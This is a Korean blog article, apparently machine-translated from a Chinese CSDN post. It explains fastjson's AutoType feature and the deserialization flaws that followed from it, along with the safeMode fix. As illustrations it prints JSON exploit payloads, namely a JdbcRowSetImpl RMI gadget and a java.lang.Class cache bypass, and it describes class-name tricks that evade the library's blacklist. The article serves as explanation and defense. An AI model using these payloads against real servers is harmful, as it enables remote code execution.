JSON 구문 분석 라이브러리의 fastjson

fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리로 일반적으로 Java Bean과 JSON 문자열을 변환하는 데 사용됩니다.

얼마전 fastjson이 여러번 허점을 드러냈는데 많은 기사에서 이 사건을 보도하고 업그레이드에 대한 제안을 했습니다.

하지만 개발자로서 왜 그가 자주 취약점에 노출되는지가 더 걱정됩니다. 그래서 fastjson의 releaseNote와 일부 소스코드를 의구심으로 살펴보았습니다.

마지막으로 이것이 실제로 fastjson의 AutoType 기능과 관련이 있음을 발견했습니다.

2019년 7월에 출시된 v1.2.59부터 2020년 6월에 출시된 v1.2.71까지 각 버전 업그레이드에서 AutoType에 대한 업데이트가 있습니다.

다음은 fastjson의 공식 릴리스 노트에서 AutoType에 대한 몇 가지 중요한 업그레이드입니다.

1.2.59 릴리스, AutoType이 켜져 있을 때 강화된 보안 fastjson

1.2.60 출시, AutoType 블랙리스트 추가, 서비스 거부 보안 문제 fastjson 수정

1.2.61 릴리스, AutoType 보안 블랙리스트 fastjson 추가

1.2.62 출시, AutoType 블랙리스트, 향상된 날짜 역직렬화 및 JSONPath fastjson 추가

1.2.66 릴리스, 버그 수정 보안 강화 및 보안 강화 수행, AutoType 블랙리스트 fastjson 추가

1.2.67 릴리스, 버그 수정 보안 강화, AutoType 블랙리스트 fastjson 추가

1.2.68 릴리스, GEOJSON 지원, AutoType 블랙리스트 보완. ( safeMode 구성을 도입합니다. safeMode 구성 후 autoType은 화이트리스트 또는 블랙리스트에 관계없이 지원되지 않습니다. ) fastjson

1.2.69 릴리스, 새로 발견된 고위험 AutoType 스위치 바이패스 보안 취약점 복구, AutoType 블랙리스트 fastjson 보완

1.2.70 출시, 호환성 개선, AutoType 블랙리스트 추가

fastjson의 오픈 소스 라이브러리에서도 작성자가 autoType이 없는 버전을 제공해야 한다는 문제가 있습니다.

![-w747][1]

그렇다면 자동 입력이란 무엇입니까? fastjson이 AutoType을 도입한 이유는 무엇입니까? AutoType이 보안 허점을 일으키는 이유는 무엇입니까? 이 기사에서는 이를 자세히 분석합니다.

AutoType은 어디에 신성한가요?

fastjson의 주요 기능은 Java Bean을 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 및 기타 방법을 통해 유지할 수 있도록 하는 것입니다.

그러나 fastjson은 직렬화 및 역직렬화 과정에서 [자바 고유의 직렬화 메커니즘][2]을 사용하지 않고 일련의 메커니즘을 사용자 정의합니다.

실제로 JSON 프레임워크의 경우 Java 객체를 문자열로 변환하려는 경우 두 가지 옵션이 있습니다.

  • 1. 속성 기반
  • 2. 세터/게터 기준

일반적으로 사용되는 JSON 직렬화 프레임워크에서 FastJson 및 jackson은 클래스의 모든 getter 메서드를 순회하여 개체를 json 문자열로 직렬화합니다. Gson은 이렇게 하지 않고 클래스의 모든 속성을 리플렉션을 통해 순회하고 그 값을 json으로 직렬화합니다.

다음 Java 클래스가 있다고 가정합니다.

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

직렬화를 원할 때 fastjson은 getter 메서드, 즉 getName 및 getFruit를 찾은 다음 이름 및 과일 필드의 값을 JSON 문자열로 직렬화합니다.

그런 다음 위에서 정의한 Fruit은 인터페이스 일 뿐이며 직렬화 할 때 fastjson이 속성 값을 올바르게 직렬화 할 수 있습니까? 가능한 경우 fastjson은 역직렬화할 때 어떤 유형으로 과일을 역직렬화합니까?

(fastjson v 1.2.68)을 기반으로 확인해보자.

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

위의 코드는 비교적 간단합니다. 스토어를 생성하고 이름을 지정하고 과일 하위 유형 Apple을 생성한 다음 이 스토어를 직렬화하여 다음 JSON JSON.toJSONString콘텐츠를 얻습니다.

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

그렇다면 이 과일의 유형은 무엇이며 Apple로 역직렬화할 수 있습니까? 다음 코드를 다시 실행해 봅시다.

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

실행 결과는 다음과 같습니다.

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

저장소를 역직렬화한 후 Fruit을 Apple로 변환하려고 시도하지만 예외가 발생하는 것을 볼 수 있습니다. Fruit로 직접 변환하려고 하면 다음과 같은 오류가 보고되지 않습니다.

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

위의 현상에 대해 우리는 클래스가 인터페이스(또는 추상 클래스)를 포함할 때 직렬화를 위해 fastjson을 사용할 때 하위 유형이 지워지고 인터페이스(추상 클래스)의 유형만 유지되므로 그 반대임을 알고 있습니다. 연재 중에는 원본 유형을 얻을 수 없습니다.

그래서 이 문제를 해결할 수 있는 방법은 없을까요?fastjson은 직렬화 중에 원래 유형을 기록하는 AutoType을 도입합니다.

사용방법은 SerializerFeature.WriteClassName마킹 즉, 위의 코드에서

String jsonString = JSON.toJSONString(store);

로 변경:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

즉, 위 코드의 출력은 다음과 같습니다.

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}

로 표시한 후 JSON 문자열에 클래스에 해당하는 원래 유형을 표시하는 추가 필드가 있으므로 역직렬화할 때 특정 유형을 찾는 것이 편리합니다 .SerializerFeature.WriteClassName@type

위와 같이 직렬화된 문자열을 역직렬화하면 Apple 형을 원활하게 얻을 수 있으며 전체 출력 내용은 다음과 같습니다.

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

이것이 바로 AutoType이며, fastjson에 AutoType이 도입된 이유입니다.

그러나 기능 설계 초기에 보안 고려가 미흡하여 후속 fastjson 사용자에게 끝없는 고통을 안겨준 것도 바로 이 기능입니다.

자동 입력에 어떤 문제가 있습니까?

@typeautoType 함수 때문에 fastjson이 JSON 문자열을 역직렬화할 때 콘텐츠를 읽고 JSON 콘텐츠를 이 객체로 역직렬화하려고 시도하고 이 클래스의 setter 메서드를 호출합니다.

그런 다음 이 기능을 사용하여 JSON 문자열을 직접 구성하고 @type사용할 공격 라이브러리를 지정하는 데 사용할 수 있습니다.

예를 들어, 해커들이 흔히 사용하는 공격 클래스 라이브러리 입니다 com.sun.rowset.JdbcRowSetImpl. 이것은 Sun에서 공식적으로 제공하는 클래스 라이브러리입니다. 이 클래스의 dataSourceName은 rmi 소스 전달을 지원합니다. 이 uri를 구문 분석할 때 rmi 원격 호출을 지원합니다. 지정된 rmi 주소.

그리고 fastjson은 역직렬화 시 대상 클래스의 setter 메서드를 호출하므로 해커가 JdbcRowSetImpl의 dataSourceName에 실행할 명령을 설정하면 심각한 결과를 초래할 수 있습니다.

다음과 같이 JSON 문자열을 설정하면 원격 명령 실행을 구현할 수 있습니다. (이전 버전에서는 JdbcRowSetImpl이 새 버전에서 블랙리스트에 올랐습니다.)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

이른바 원격 명령 실행 취약점, 즉 대상 서버에 침입해 서버를 통해 명령을 실행하도록 취약점을 악용한 것이다.

초기 fastjson 버전(v1.2.25 이전)에서는 AutoType이 기본적으로 활성화되어 있고 제한이 없기 때문에 알몸이라고 할 수 있습니다.

v1.2.25부터 fastjson은 기본적으로 자동 유형 지원을 비활성화하고, checkAutotype을 추가하고, 자동 유형이 활성화되지 않도록 블랙리스트 + 화이트리스트를 추가했습니다.

그러나 해커와 fastjson 작성자 간의 게임이 시작된 것도 이때부터였습니다.

fastjson은 기본적으로 autotype 지원을 비활성화하고 흑백 목록을 확인하기 때문에 공격 방향이 "checkAutotype을 우회하는 방법"으로 변경됩니다.

fastjson 버전별 취약점과 공격원리를 좀 더 자세히 살펴보도록 하겠습니다 . 다음 내용은 주로 몇 가지 아이디어를 제공하기 위한 것이며 목적은 코드를 작성할 때 보안에 주의를 기울이는 것의 중요성을 설명하는 것입니다.

해커와 fastjson 사이의 게임인 checkAutotype 우회

fastjson v1.2.41 이전에는 checkAutotype 코드에서 흑백 목록을 먼저 필터링하고 역직렬화할 클래스가 흑백 목록에 없으면 대상 클래스를 역직렬화합니다.

그러나 로드 프로세스 중에 fastjson에는 특별한 프로세스가 있습니다. 즉, 클래스를 로드할 때 그림과 같이 LclassName 전후의 합계가 제거됩니다 .;Lcom.lang.Thread;

![-w853][3]

흑백 목록은 startWith에 의해 탐지되므로 해커는 fastjson에 의한 정상적인 로딩을 지연시키지 않고 사용하려는 공격 라이브러리 앞뒤 L;합계를 추가하여 흑백 목록 검사를 우회할 수 있습니다 .

예를 들어 먼저 화이트리스트 검증을 통과한 다음 fastjson이 Lcom.sun.rowset.JdbcRowSetImpl;클래스를 로드할 때 앞뒤 합계를 L제거 하고 가 ;됩니다 com.sun.rowset.JdbcRowSetImpl.

공격을 받지 않기 위해 v1.2.42 이후 버전에서는 흑백 리스트 검출 시 fastjson이 먼저 대상 클래스의 클래스 이름 앞뒤가 합인지 판단하여 합일 경우 앞을 가로챈다. 다시 합계 낸 다음 L흑백 목록 확인을 진행합니다.;L;

그것은 문제를 해결하는 것처럼 보이지만 해커가 이 규칙을 발견한 후 공격할 때 대상 클래스 전후에 합계를 이중 LL작성하므로 ;;차단된 후에도 여전히 탐지를 우회할 수 있습니다. 좋다LLcom.sun.rowset.JdbcRowSetImpl;;

항상 당신보다 나은 사람들이 있습니다. v1.2.43에서는 블랙리스트와 화이트리스트 판단 이전에 fastjson에 로 LL시작할지 여부에 대한 판단을 추가했는데, 대상 클래스가 LL로 시작하면 바로 예외가 발생하므로 이 취약점은 일시적으로 수정됩니다.

해커는 L여기를 통과할 수 없었기 때문에 fastjson이 클래스를 로드할 때 해당 클래스를 특별하게 취급할 뿐만 아니라 특별하게 취급하기 ;때문에 다른 곳에서 시작할 방법을 찾으려고 했습니다 .L;[

동일한 공격 방식, 대상 클래스 앞에 추가 [, v1.2.43 이전의 모든 버전이 다시 떨어졌습니다.

따라서 v1.2.44 버전에서 fastjson의 작성자는 대상 클래스가 로 시작하거나 [끝나는 한 더 엄격한 요구 사항을 만들었습니다 ;. 예외가 직접 발생합니다. 또한 v1.2.43 및 이전 버전에서 발견된 버그를 해결합니다.

다음 몇 가지 버전에서 해커의 주요 공격 방법은 블랙리스트를 우회하는 것이며 fastjson은 자체 블랙리스트를 지속적으로 개선하고 있습니다.

활성화하지 않고 autoType을 공격할 수 있습니까?

그러나 좋은 시간은 오래 가지 않았고 v1.2.47로 업그레이드하면서 해커는 다시 공격할 수 있는 방법을 찾았습니다. 이 공격은 autoType이 꺼져 있을 때만 작동합니다.

autoType이 켜져 있지 않으면 대신 공격을 받는다는 것이 이상하지 않습니까?

fastjson에는 전역 캐시가 있기 때문에 클래스가 로드될 때 autotype이 활성화되지 않은 경우 먼저 캐시에서 클래스를 가져오려고 시도하고 캐시에 존재하는 경우 직접 반환합니다. ** 해커는 이 메커니즘을 사용하여 공격합니다.

해커는 먼저 캐시에 클래스를 추가하는 방법을 찾은 다음 다시 실행하여 흑백 목록 감지를 우회합니다.

우선 블랙리스트에 있는 클래스를 캐시에 추가하려면 블랙리스트에 없는 클래스를 사용해야 하는데 이 클래스는java.lang.Class

java.lang.Class클래스에 해당하는 디시리얼라이저는 MiscCodec이며, 디시리얼라이즈할 때 json 문자열에서 val 값을 가져와서 val에 해당하는 클래스를 로드합니다.

fastjson 캐시가 true이면 이 값에 해당하는 클래스가 글로벌 캐시에 캐시됩니다.

val이라는 클래스가 다시 로드되고 autotype이 활성화되지 않은 경우 다음 단계는 전역 캐시에서 이 클래스를 가져온 다음 공격하는 것입니다.

따라서 해커는 공격 클래스를 다음과 같은 형식으로 위장하기만 하면 됩니다.

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

그래서 v1.2.48에서 fastjson은 이 버그를 수정했고, Class 클래스를 처리하는 MiscCodec에서는 fastjson 캐시를 false로 설정하여 공격 클래스를 캐싱하지 않고 획득하지 않도록 했다.

다음 버전에서 해커와 fastjson은 계속해서 블랙리스트를 우회하여 블랙리스트에 추가했습니다.

나중에 해커는 v1.2.68 이전 버전에서 새로운 익스플로잇 방법을 발견했습니다.

예외로 공격

fastjson에서 @type으로 지정된 클래스가 Throwable의 하위 클래스인 경우 해당 역직렬화 처리 클래스는 ThrowableDeserializer를 사용합니다.

ThrowableDeserializer#deserialze 메서드에서 필드의 키도 @type이면 이 값을 클래스 이름으로 간주하여 checkAutoType 감지를 수행합니다.

그리고 throwable.class로 expectClass를 지정하는데 checkAutoType에는 expectClass가 지정되면 검증도 통과한다는 그런 합의가 있다.

![-w869][4]

fastjson은 역직렬화할 때 내부에서 getter 메서드를 실행하려고 시도하고 Exception 클래스에 getMessage 메서드가 있기 때문입니다.

해커는 공격 목적을 달성하기 위해 예외를 사용자 지정하고 getMessage를 다시 작성하기만 하면 됩니다.

이 취약점은 지난 6월 인터넷을 통해 많은 개발자들이 새 버전으로 업그레이드해야 했던 '심각한 취약점'이다.

이 취약점은 v1.2.69에서 수정되었으며 주요 복구 방법은 필터링이 필요한 expectClass를 수정하고 4개의 새 클래스를 추가하고 원래 클래스 유형 판단을 해시 판단으로 변경하는 것입니다.

실제로 fastjson의 공식 문서에 따르면 새 버전으로 업그레이드하지 않더라도 v1.2.68에서는 이 문제를 피할 수 있습니다. 즉, safeMode를 사용하면 됩니다.

자동 입력 안전 모드?

이러한 취약점의 악용은 거의 AutoType을 중심으로 이루어짐을 알 수 있으므로 v1.2.68 버전에서는 safeMode를 도입하였으며, safeMode 설정 후 화이트리스트나 블랙리스트에 관계없이 autoType이 지원되지 않는 점을 완화할 수 있다. 역직렬화 가젯 변종 공격.

safeMode를 설정한 후 @type 필드는 더 이상 적용되지 않습니다. 즉, {“@type”: “com.java.class”}와 같은 JSON 문자열을 구문 분석할 때 해당 클래스가 더 이상 역직렬화되지 않습니다.

safeMode를 활성화하는 방법은 다음과 같습니다.

ParserConfig.getGlobalInstance().setSafeMode(true);

예를 들어 이 문서의 초기 코드 예제에서 위의 코드를 사용하여 safeMode 모드를 활성화하고 코드를 실행하면 다음 예외가 발생합니다.

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

그러나이 기능을 사용하면 fastjson이 autoType 기능을 직접 비활성화합니다. 즉, checkAutoType 메서드에서 예외가 직접 발생한다는 점은 주목할 가치가 있습니다.

![-w821][5]

후기

현재 fastjson은 v1.2.72 버전으로 출시되었으며 이전 버전에서 알려진 문제점이 새 버전에서 수정되었습니다.

개발자는 자신의 프로젝트에서 사용하는 fastjson을 최신 버전으로 업그레이드할 수 있으며 코드에 AutoType이 필요하지 않은 경우 safeMode 사용을 고려할 수 있지만 이전 코드에 미치는 영향을 평가해야 합니다.

fastjson 은 자체 직렬화 도구 클래스를 정의하고 asm 기술을 사용하여 반사를 피하고 캐시를 사용하며 많은 알고리즘 최적화 등을 수행하여 직렬화 및 역 직렬화의 효율성을 크게 향상시킵니다.

일부 네티즌은 이전에 비교했습니다.

![-w808][6]

물론 빠르다는 것은 부정할 수 없는 몇 가지 보안 문제를 야기하기도 합니다.

마지막으로 몇 마디 하자면, fastjson은 알리바바에서 오픈 소스로 제공하고 있지만 필자가 아는 한 저자인 Wen Shao는 여가 시간에 대부분의 시간을 유지하고 있습니다.

Zhihu의 한 네티즌은 " 원샤오는 자신이 널리 사용하는 JSON 라이브러리를 거의 지원했지만 다른 라이브러리는 거의 전체 팀에 의존했다. 1세대 오픈 소스 사람들", 당연합니다. "

사실 알리에서 많은 분들이 fastjson 취약점에 대해 비판을 하셨지만, 비판을 받고 나니 다들 이해심관대함이 더 커졌습니다 .

fastjson은 현재 비교적 잘 알려진 국내 클래스 라이브러리이며 많은 관심을 끌었기 때문에 점차 보안 연구의 초점이 되었기 때문에 몇 가지 깊은 허점이 발견될 것입니다. Wen Shao 자신이 말했듯이 :

"취약점의 발견과 비교할 때 더 나쁜 것은 악용되지 않은 취약점이 있다는 것입니다. 적시에 취약점을 발견하고 이를 수정하기 위한 업그레이드는 보안 기능의 발현입니다."

추천

출처blog.csdn.net/zy_dreamer/article/details/132307083